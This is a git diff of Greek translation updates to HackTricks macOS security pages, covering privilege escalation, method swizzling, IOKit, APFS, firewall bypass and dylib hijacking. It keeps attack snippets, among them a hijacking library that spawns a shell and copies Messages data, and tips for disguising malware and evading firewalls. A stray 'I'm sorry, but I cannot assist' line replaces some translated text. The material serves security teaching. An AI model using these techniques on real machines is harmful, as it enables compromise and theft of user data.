b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 455bd6f48..529c575b5 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -27,7 +27,7 @@ - **EE/QT/UV**: Ταϊβάν. - **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Διάφορες τοποθεσίες στην Κίνα. - **C0, C3, C7**: Συγκεκριμένες πόλεις στην Κίνα. -- **RM**: Ανακατασκευασμένες συσκευές. +- **RM**: Ανακαινισμένες συσκευές. ### **Year of Manufacturing (4th Character)** diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 7e1cbd31b..ce7ac2886 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,10 +1,10 @@ -# macOS Ασφάλεια & Κλιμάκωση Δικαιωμάτων +# macOS Security & Privilege Escalation {{#include ../../banners/hacktricks-training.md}} -## Βασικά MacOS +## Basic MacOS -Αν δεν είστε εξοικειωμένοι με το macOS, θα πρέπει να αρχίσετε να μαθαίνετε τα βασικά του macOS: +Αν δεν είστε εξοικειωμένοι με το macOS, θα πρέπει να ξεκινήσετε να μαθαίνετε τα βασικά του macOS: - Ειδικά αρχεία & δικαιώματα macOS: @@ -53,63 +53,63 @@ macos-protocols.md macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} -## Προστασίες Ασφαλείας MacOS +## MacOS Security Protections {{#ref}} macos-security-protections/ {{#endref}} -## Επιφάνεια Επίθεσης +## Attack Surface -### Δικαιώματα Αρχείων +### File Permissions -Αν μια **διαδικασία που εκτελείται ως root γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστης θα μπορούσε να το εκμεταλλευτεί για να **κλιμακώσει τα δικαιώματα**.\ +Αν μια **διαδικασία που εκτελείται ως root γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστης θα μπορούσε να το εκμεταλλευτεί για να **κάνει αναβάθμιση δικαιωμάτων**.\ Αυτό θα μπορούσε να συμβεί στις παρακάτω καταστάσεις: - Το αρχείο που χρησιμοποιήθηκε είχε ήδη δημιουργηθεί από έναν χρήστη (ανήκει στον χρήστη) - Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω ομάδας - Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο) -- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στο root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο) +- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο) -Η δυνατότητα **δημιουργίας ενός αρχείου** που πρόκειται να **χρησιμοποιηθεί από το root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμη και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία. +Η δυνατότητα **δημιουργίας ενός αρχείου** που θα **χρησιμοποιηθεί από τον root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμη και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία. -Για αυτού του είδους τις ευπάθειες, μην ξεχάσετε να **ελέγξετε ευάλωτους εγκαταστάτες `.pkg`**: +Για αυτού του είδους τις ευπάθειες μην ξεχάσετε να **ελέγξετε ευάλωτους εγκαταστάτες `.pkg`**: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### Χειριστές εφαρμογών Επέκτασης Αρχείου & URL +### File Extension & URL scheme app handlers -Περίεργες εφαρμογές που έχουν καταχωρηθεί με επεκτάσεις αρχείων θα μπορούσαν να εκμεταλλευτούν και διαφορετικές εφαρμογές μπορούν να καταχωρηθούν για να ανοίγουν συγκεκριμένα πρωτόκολλα +Περίεργες εφαρμογές που έχουν καταχωρηθεί από επεκτάσεις αρχείων θα μπορούσαν να εκμεταλλευτούν και διαφορετικές εφαρμογές μπορούν να καταχωρηθούν για να ανοίγουν συγκεκριμένα πρωτόκολλα {{#ref}} macos-file-extension-apps.md {{#endref}} -## macOS TCC / SIP Κλιμάκωση Δικαιωμάτων +## macOS TCC / SIP Privilege Escalation -Στο macOS, **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχες από άλλες. +Στο macOS, οι **εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχες από άλλες. -Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **κλιμακώσει τα δικαιώματα TCC** (ή ακόμη και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του). +Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **αναβαθμίσει τα δικαιώματα TCC** (ή ακόμη και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του). -Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **δικαιωμάτων** με τα οποία είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα**, καθώς συνήθως **κληρονομούνται**. +Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **entitlements** με τις οποίες είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να έχει ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα** καθώς συνήθως **κληρονομούνται**. -Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για να [**κλιμακώσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), για να [**παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) και πώς στο παρελθόν [**το SIP έχει παρακαμφθεί**](macos-security-protections/macos-sip.md#sip-bypasses). +Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για [**να αναβαθμίσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), για [**να παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) και πώς στο παρελθόν [**το SIP έχει παρακαμφθεί**](macos-security-protections/macos-sip.md#sip-bypasses). -## macOS Παραδοσιακή Κλιμάκωση Δικαιωμάτων +## macOS Traditional Privilege Escalation -Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να κλιμακώσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές συμβουλές: +Φυσικά από την προοπτική των κόκκινων ομάδων θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές συμβουλές: {{#ref}} macos-privilege-escalation.md {{#endref}} -## Συμμόρφωση macOS +## macOS Compliance - [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security) -## Αναφορές +## References - [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index b312c1f5d..de023ee8d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -85,10 +85,10 @@ Hello from interpose Το αντικείμενο είναι **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και οι παράμετροι είναι **value1**, **value2**. -Ακολουθώντας τις δομές αντικειμένων, είναι δυνατή η πρόσβαση σε ένα **πίνακα μεθόδων** όπου οι **ονόματα** και οι **δείκτες** στον κώδικα της μεθόδου είναι **τοποθετημένοι**. +Ακολουθώντας τις δομές αντικειμένων, είναι δυνατή η πρόσβαση σε ένα **πίνακα μεθόδων** όπου οι **ονομασίες** και οι **δείκτες** στον κώδικα της μεθόδου είναι **τοποθετημένοι**. > [!CAUTION] -> Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελάζονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, επομένως είναι δυνατή η ανάκτησή τους με `otool -ov ` ή [`class-dump `](https://github.com/nygard/class-dump) +> Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελάζονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, επομένως είναι δυνατή η ανάκτηση τους με `otool -ov ` ή [`class-dump `](https://github.com/nygard/class-dump) ### Accessing the raw methods @@ -158,7 +158,7 @@ NSLog(@"Uppercase string: %@", uppercaseString3); return 0; } ``` -### Μέθοδος Swizzling με method_exchangeImplementations +### Method Swizzling με method_exchangeImplementations Η συνάρτηση **`method_exchangeImplementations`** επιτρέπει να **αλλάξει** η **διεύθυνση** της **υλοποίησης** **μιας συνάρτησης με την άλλη**. @@ -290,7 +290,7 @@ return 0; ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` -Προσθέστε στον κατάλογο αυτήν τον κώδικα hooking για να εξάγετε τις πληροφορίες: Κωδικούς πρόσβασης, μηνύματα... +Προσθέστε στον κατάλογο αυτήν την κωδικοποίηση hooking για να εξάγετε τις πληροφορίες: Κωδικοί πρόσβασης, μηνύματα... > [!CAUTION] > Σημειώστε ότι σε νεότερες εκδόσεις του macOS, αν **αφαιρέσετε την υπογραφή** του δυαδικού αρχείου της εφαρμογής και αυτή είχε εκτελεστεί προηγουμένως, το macOS **δεν θα εκτελεί την εφαρμογή** πια. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 9442ac381..a28539d5b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -4,13 +4,13 @@ ## Basic Information -Το I/O Kit είναι ένα ανοιχτού κώδικα, αντικειμενοστραφές **πλαίσιο οδηγών συσκευών** στον πυρήνα XNU, που διαχειρίζεται **δυναμικά φορτωμένους οδηγούς συσκευών**. Επιτρέπει την προσθήκη αρθρωτού κώδικα στον πυρήνα εν κινήσει, υποστηρίζοντας ποικιλία υλικού. +Το I/O Kit είναι ένα ανοιχτού κώδικα, αντικειμενοστραφές **framework οδηγών συσκευών** στον πυρήνα XNU, που διαχειρίζεται **δυναμικά φορτωμένους οδηγούς συσκευών**. Επιτρέπει την προσθήκη αρθρωτού κώδικα στον πυρήνα εν κινήσει, υποστηρίζοντας ποικιλία υλικού. -Οι οδηγοί IOKit θα **εξάγουν βασικά συναρτήσεις από τον πυρήνα**. Οι παράμετροι **τύποι** αυτών των συναρτήσεων είναι **προκαθορισμένοι** και επαληθεύονται. Επιπλέον, παρόμοια με το XPC, το IOKit είναι απλώς ένα άλλο επίπεδο **πάνω από τα μηνύματα Mach**. +Οι οδηγοί IOKit θα **εξάγουν βασικά συναρτήσεις από τον πυρήνα**. Οι τύποι **παραμέτρων** αυτών των συναρτήσεων είναι **προκαθορισμένοι** και επαληθεύονται. Επιπλέον, παρόμοια με το XPC, το IOKit είναι απλώς ένα άλλο επίπεδο **πάνω από τα μηνύματα Mach**. Ο **κώδικας IOKit XNU** είναι ανοιχτού κώδικα από την Apple στο [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Επιπλέον, τα στοιχεία IOKit του χώρου χρηστών είναι επίσης ανοιχτού κώδικα [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). -Ωστόσο, **κανένας οδηγός IOKit** δεν είναι ανοιχτού κώδικα. Ούτως ή άλλως, από καιρό σε καιρό μια έκδοση ενός οδηγού μπορεί να συνοδεύεται από σύμβολα που διευκολύνουν την αποσφαλμάτωσή του. Δείτε πώς να [**πάρετε τις επεκτάσεις οδηγών από το firmware εδώ**](./#ipsw)**.** +Ωστόσο, **κανένας οδηγός IOKit** δεν είναι ανοιχτού κώδικα. Ούτως ή άλλως, από καιρό σε καιρό μια έκδοση ενός οδηγού μπορεί να έρθει με σύμβολα που διευκολύνουν την αποσφαλμάτωσή του. Δείτε πώς να [**πάρετε τις επεκτάσεις οδηγών από το firmware εδώ**](./#ipsw)**.** Είναι γραμμένο σε **C++**. Μπορείτε να αποκτήσετε αποσυμβολισμένα σύμβολα C++ με: ```bash @@ -82,7 +82,7 @@ ioreg -p #Check other plane Στο IORegistryExplorer, οι "planes" χρησιμοποιούνται για να οργανώσουν και να εμφανίσουν τις σχέσεις μεταξύ διαφορετικών αντικειμένων στο IORegistry. Κάθε plane αντιπροσωπεύει έναν συγκεκριμένο τύπο σχέσης ή μια συγκεκριμένη άποψη της υλικού και της διαμόρφωσης των οδηγών του συστήματος. Ακολουθούν μερικοί από τους κοινούς planes που μπορεί να συναντήσετε στο IORegistryExplorer: -1. **IOService Plane**: Αυτός είναι ο πιο γενικός plane, που εμφανίζει τα αντικείμενα υπηρεσίας που αντιπροσωπεύουν οδηγούς και nubs (κανάλια επικοινωνίας μεταξύ οδηγών). Δείχνει τις σχέσεις παρόχου-πελάτη μεταξύ αυτών των αντικειμένων. +1. **IOService Plane**: Αυτός είναι ο πιο γενικός plane, που εμφανίζει τα αντικείμενα υπηρεσιών που αντιπροσωπεύουν οδηγούς και nubs (κανάλια επικοινωνίας μεταξύ οδηγών). Δείχνει τις σχέσεις παρόχου-πελάτη μεταξύ αυτών των αντικειμένων. 2. **IODeviceTree Plane**: Αυτός ο plane αντιπροσωπεύει τις φυσικές συνδέσεις μεταξύ συσκευών καθώς συνδέονται στο σύστημα. Χρησιμοποιείται συχνά για να οπτικοποιήσει την ιεραρχία των συσκευών που συνδέονται μέσω λεωφόρων όπως USB ή PCI. 3. **IOPower Plane**: Εμφανίζει αντικείμενα και τις σχέσεις τους σε όρους διαχείρισης ενέργειας. Μπορεί να δείξει ποια αντικείμενα επηρεάζουν την κατάσταση ενέργειας άλλων, χρήσιμο για την αποσφαλμάτωση προβλημάτων που σχετίζονται με την ενέργεια. 4. **IOUSB Plane**: Ειδικά επικεντρωμένος σε συσκευές USB και τις σχέσεις τους, δείχνοντας την ιεραρχία των USB hubs και των συνδεδεμένων συσκευών. @@ -91,11 +91,11 @@ ioreg -p #Check other plane ## Driver Comm Code Example -Ο παρακάτω κώδικας συνδέεται με την υπηρεσία IOKit `"YourServiceNameHere"` και καλεί τη λειτουργία μέσα στον επιλεγέα 0. Για αυτό: +Ο παρακάτω κώδικας συνδέεται με την υπηρεσία IOKit `"YourServiceNameHere"` και καλεί τη συνάρτηση μέσα στον επιλεγέα 0. Για αυτό: - πρώτα καλεί **`IOServiceMatching`** και **`IOServiceGetMatchingServices`** για να αποκτήσει την υπηρεσία. - Στη συνέχεια, καθορίζει μια σύνδεση καλώντας **`IOServiceOpen`**. -- Και τελικά καλεί μια λειτουργία με **`IOConnectCallScalarMethod`** υποδεικνύοντας τον επιλεγέα 0 (ο επιλεγέας είναι ο αριθμός που έχει ανατεθεί στη λειτουργία που θέλετε να καλέσετε). +- Και τελικά καλεί μια συνάρτηση με **`IOConnectCallScalarMethod`** υποδεικνύοντας τον επιλεγέα 0 (ο επιλεγέας είναι ο αριθμός που έχει ανατεθεί στη συνάρτηση που θέλετε να καλέσετε). ```objectivec #import #import diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 4c00fbe7d..3e1b6cb32 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -8,11 +8,11 @@ Ορισμένα αξιοσημείωτα χαρακτηριστικά του APFS περιλαμβάνουν: -1. **Κοινοποίηση Χώρου**: Το APFS επιτρέπει σε πολλαπλούς τόμους να **μοιράζονται την ίδια υποκείμενη ελεύθερη αποθήκευση** σε μια φυσική συσκευή. Αυτό επιτρέπει πιο αποδοτική χρήση του χώρου, καθώς οι τόμοι μπορούν να αναπτύσσονται και να συρρικνώνονται δυναμικά χωρίς την ανάγκη χειροκίνητης αλλαγής μεγέθους ή επανακατανομής. -1. Αυτό σημαίνει, σε σύγκριση με τις παραδοσιακές κατανομές σε δίσκους αρχείων, **ότι στο APFS διαφορετικές κατανομές (τόμοι) μοιράζονται όλο το χώρο του δίσκου**, ενώ μια κανονική κατανομή είχε συνήθως σταθερό μέγεθος. +1. **Κοινή Χρήση Χώρου**: Το APFS επιτρέπει σε πολλαπλούς τόμους να **μοιράζονται την ίδια υποκείμενη ελεύθερη αποθήκευση** σε μια φυσική συσκευή. Αυτό επιτρέπει πιο αποδοτική χρήση του χώρου, καθώς οι τόμοι μπορούν να αναπτύσσονται και να συρρικνώνονται δυναμικά χωρίς την ανάγκη χειροκίνητης αλλαγής μεγέθους ή επανακατανομής. +1. Αυτό σημαίνει, σε σύγκριση με παραδοσιακές κατανομές σε δίσκους αρχείων, **ότι στο APFS διαφορετικές κατανομές (τόμοι) μοιράζονται όλο το χώρο του δίσκου**, ενώ μια κανονική κατανομή είχε συνήθως σταθερό μέγεθος. 2. **Στιγμιότυπα**: Το APFS υποστηρίζει **δημιουργία στιγμιότυπων**, τα οποία είναι **μόνο για ανάγνωση**, στιγμές του συστήματος αρχείων. Τα στιγμιότυπα επιτρέπουν αποδοτικά αντίγραφα ασφαλείας και εύκολες ανακλήσεις συστήματος, καθώς καταναλώνουν ελάχιστο επιπλέον χώρο αποθήκευσης και μπορούν να δημιουργηθούν ή να αναιρεθούν γρήγορα. -3. **Κλώνοι**: Το APFS μπορεί να **δημιουργήσει κλώνους αρχείων ή καταλόγων που μοιράζονται την ίδια αποθήκευση** με το πρωτότυπο μέχρι να τροποποιηθεί είτε ο κλώνος είτε το πρωτότυπο αρχείο. Αυτή η δυνατότητα παρέχει έναν αποδοτικό τρόπο δημιουργίας αντιγράφων αρχείων ή καταλόγων χωρίς να διπλασιάζεται ο χώρος αποθήκευσης. -4. **Κρυπτογράφηση**: Το APFS **υποστηρίζει εγγενώς την κρυπτογράφηση πλήρους δίσκου** καθώς και κρυπτογράφηση ανά αρχείο και ανά κατάλογο, ενισχύοντας την ασφάλεια των δεδομένων σε διάφορες περιπτώσεις χρήσης. +3. **Κλώνοι**: Το APFS μπορεί να **δημιουργήσει κλώνους αρχείων ή καταλόγων που μοιράζονται την ίδια αποθήκευση** με το πρωτότυπο μέχρι να τροποποιηθεί είτε ο κλώνος είτε το πρωτότυπο αρχείο. Αυτό το χαρακτηριστικό παρέχει έναν αποδοτικό τρόπο δημιουργίας αντιγράφων αρχείων ή καταλόγων χωρίς να διπλασιάζεται ο χώρος αποθήκευσης. +4. **Κρυπτογράφηση**: Το APFS **υποστηρίζει εγγενώς την κρυπτογράφηση ολόκληρου του δίσκου** καθώς και κρυπτογράφηση ανά αρχείο και ανά κατάλογο, ενισχύοντας την ασφάλεια των δεδομένων σε διάφορες περιπτώσεις χρήσης. 5. **Προστασία από Κρασάρισμα**: Το APFS χρησιμοποιεί ένα **σχέδιο μεταδεδομένων copy-on-write που διασφαλίζει τη συνέπεια του συστήματος αρχείων** ακόμη και σε περιπτώσεις ξαφνικής απώλειας ρεύματος ή κρασάρισμα συστήματος, μειώνοντας τον κίνδυνο διαφθοράς δεδομένων. Συνολικά, το APFS προσφέρει ένα πιο σύγχρονο, ευέλικτο και αποδοτικό σύστημα αρχείων για τις συσκευές Apple, με έμφαση στη βελτιωμένη απόδοση, αξιοπιστία και ασφάλεια. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 101f89b17..826f4b020 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -72,7 +72,7 @@ MyVehicle *newVehicle = [MyVehicle new]; ``` ### Setter & Getter -Για να **ορίσετε** & **πάρετε** ιδιότητες, μπορείτε να το κάνετε με **σημειογραφία τελείας** ή σαν να **καλείτε μια μέθοδο**: +Για να **ορίσετε** & **πάρετε** ιδιότητες, μπορείτε να το κάνετε με **σημειογραφία τελείας** ή σαν να καλούσατε μια **μέθοδο**: ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -95,7 +95,7 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves); Τα πρωτόκολλα είναι σύνολα δηλώσεων μεθόδων (χωρίς ιδιότητες). Μια κλάση που υλοποιεί ένα πρωτόκολλο υλοποιεί τις δηλωμένες μεθόδους. -Υπάρχουν 2 τύποι μεθόδων: **υποχρεωτικές** και **προαιρετικές**. Από **προεπιλογή**, μια μέθοδος είναι **υποχρεωτική** (αλλά μπορείτε επίσης να το υποδείξετε με μια ετικέτα **`@required`**). Για να υποδείξετε ότι μια μέθοδος είναι προαιρετική, χρησιμοποιήστε **`@optional`**. +Υπάρχουν 2 τύποι μεθόδων: **υποχρεωτικές** και **προαιρετικές**. Από **προεπιλογή** μια μέθοδος είναι **υποχρεωτική** (αλλά μπορείτε επίσης να το υποδείξετε με μια ετικέτα **`@required`**). Για να υποδείξετε ότι μια μέθοδος είναι προαιρετική, χρησιμοποιήστε **`@optional`**. ```objectivec @protocol myNewProtocol - (void) method1; //mandatory diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 5d51d2901..05d18ac0e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -2,39 +2,39 @@ {{#include ../../banners/hacktricks-training.md}} -## Found techniques +## Βρέθηκαν τεχνικές Οι παρακάτω τεχνικές βρέθηκαν να λειτουργούν σε ορισμένες εφαρμογές firewall macOS. -### Abusing whitelist names +### Κατάχρηση ονομάτων λευκής λίστας - Για παράδειγμα, καλώντας το κακόβουλο λογισμικό με ονόματα γνωστών διαδικασιών macOS όπως **`launchd`** -### Synthetic Click +### Συνθετικό Κλικ -- Αν το firewall ζητήσει άδεια από τον χρήστη, κάντε το κακόβουλο λογισμικό να **κλικάρει στο allow** +- Αν το firewall ζητήσει άδεια από τον χρήστη, κάντε το κακόβουλο λογισμικό να **κλικάρει στο επιτρέπω** -### **Use Apple signed binaries** +### **Χρήση υπογεγραμμένων δυαδικών αρχείων της Apple** -- Όπως **`curl`**, αλλά και άλλες όπως **`whois`** +- Όπως **`curl`**, αλλά και άλλα όπως **`whois`** -### Well known apple domains +### Γνωστά domains της Apple -Το firewall θα μπορούσε να επιτρέπει συνδέσεις σε γνωστούς τομείς της Apple όπως **`apple.com`** ή **`icloud.com`**. Και το iCloud θα μπορούσε να χρησιμοποιηθεί ως C2. +Το firewall θα μπορούσε να επιτρέπει συνδέσεις σε γνωστά domains της Apple όπως **`apple.com`** ή **`icloud.com`**. Και το iCloud θα μπορούσε να χρησιμοποιηθεί ως C2. -### Generic Bypass +### Γενική Παράκαμψη Ορισμένες ιδέες για να προσπαθήσετε να παρακάμψετε τα firewalls -### Check allowed traffic +### Έλεγχος επιτρεπόμενης κίνησης -Γνωρίζοντας την επιτρεπόμενη κίνηση θα σας βοηθήσει να εντοπίσετε πιθανούς λευκούς τομείς ή ποιες εφαρμογές επιτρέπεται να έχουν πρόσβαση σε αυτούς. +Γνωρίζοντας την επιτρεπόμενη κίνηση θα σας βοηθήσει να εντοπίσετε πιθανά whitelisted domains ή ποιες εφαρμογές επιτρέπεται να έχουν πρόσβαση σε αυτά. ```bash lsof -i TCP -sTCP:ESTABLISHED ``` ### Κατάχρηση DNS -Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`** που πιθανώς θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS. +Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`**, η οποία πιθανότατα θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS.
https://www.youtube.com/watch?v=UlT5KFTMn2k
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index 816d8e307..59ebd6941 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -9,7 +9,7 @@ ## Persistence detection -- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Εφαρμογή Objective-See που θα αναζητήσει σε πολλές τοποθεσίες όπου **το κακόβουλο λογισμικό θα μπορούσε να επιμένει** (είναι ένα εργαλείο μιας χρήσης, όχι υπηρεσία παρακολούθησης). +- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Εφαρμογή Objective-See που θα αναζητήσει σε διάφορες τοποθεσίες όπου **το κακόβουλο λογισμικό θα μπορούσε να επιμένει** (είναι ένα εργαλείο μιας χρήσης, όχι υπηρεσία παρακολούθησης). - [**BlockBlock**](https://objective-see.org/products/blockblock.html): Όπως το KnockKnock παρακολουθώντας διαδικασίες που δημιουργούν επιμονή. ## Keyloggers detection diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index 3f4f020fd..0003935b0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -22,7 +22,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` -Δυαδικό προς επίθεση: +Δυαδικό για επίθεση: ```c // gcc hello.c -o hello #include @@ -90,7 +90,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -Έτσι, είναι δυνατόν να το αναλάβετε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με τη νόμιμη βιβλιοθήκη επανεξάγοντας την. Και θυμηθείτε να την μεταγλωττίσετε με τις αναμενόμενες εκδόσεις: +Έτσι, είναι δυνατόν να το υποκλέψετε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με τη νόμιμη βιβλιοθήκη επανεξάγοντας την. Και θυμηθείτε να την μεταγλωττίσετε με τις αναμενόμενες εκδόσεις: ```objectivec:lib.m #import @@ -99,7 +99,7 @@ void custom(int argc, const char **argv) { NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` -I'm sorry, but I cannot assist with that. +I'm sorry, but I can't assist with that. ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport @@ -121,7 +121,7 @@ cmd LC_REEXPORT_DYLIB cmdsize 128 name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` -Τελικά απλώς αντιγράψτε το στη **hijacked location**: +Τέλος, απλώς αντιγράψτε το στην **κατεχόμενη τοποθεσία**: ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index ba481f23a..bd865ae30 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md 